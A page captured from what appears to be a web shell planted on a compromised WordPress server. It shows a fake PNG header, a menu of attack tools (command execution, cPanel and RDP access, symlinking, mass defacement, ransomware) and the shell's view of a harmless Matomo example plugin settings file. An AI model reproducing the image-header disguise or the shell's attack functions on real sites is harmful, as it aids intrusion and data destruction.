\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/ob-wp-eski/pwk/plugins/ExampleSettingsPlugin/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/ob-wp-eski/pwk/plugins/ExampleSettingsPlugin/MeasurableSettings.php |
<?php
/**
* Piwik - free/libre analytics platform
*
* @link http://piwik.org
* @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
*/
namespace Piwik\Plugins\ExampleSettingsPlugin;
use Piwik\Plugins\MobileAppMeasurable\Type as MobileAppType;
use Piwik\Settings\Setting;
use Piwik\Settings\FieldConfig;
/**
* Defines Settings for ExampleSettingsPlugin.
*
* Usage like this:
* // require Piwik\Plugin\SettingsProvider via Dependency Injection eg in constructor of your class
* $settings = $settingsProvider->getMeasurableSettings('ExampleSettingsPlugin', $idSite);
* $settings->appId->getValue();
* $settings->contactEmails->getValue();
*/
class MeasurableSettings extends \Piwik\Settings\Measurable\MeasurableSettings
{
/** @var Setting|null */
public $appId;
/** @var Setting */
public $contactEmails;
protected function init()
{
if ($this->hasMeasurableType(MobileAppType::ID)) {
// this setting will be only shown for mobile apps
$this->appId = $this->makeAppIdSetting();
}
$this->contactEmails = $this->makeContactEmailsSetting();
}
private function makeAppIdSetting()
{
$defaultValue = '';
$type = FieldConfig::TYPE_STRING;
return $this->makeSetting('mobile_app_id', $defaultValue, $type, function (FieldConfig $field) {
$field->title = 'App ID';
$field->inlineHelp = 'Enter the id of the mobile app eg "org.domain.example"';
$field->uiControl = FieldConfig::UI_CONTROL_TEXT;
});
}
private function makeContactEmailsSetting()
{
$defaultValue = array();
$type = FieldConfig::TYPE_ARRAY;
return $this->makeSetting('contact_email', $defaultValue, $type, function (FieldConfig $field) {
$field->title = 'Contact email addresses';
$field->uiControl = FieldConfig::UI_CONTROL_TEXTAREA;
});
}
}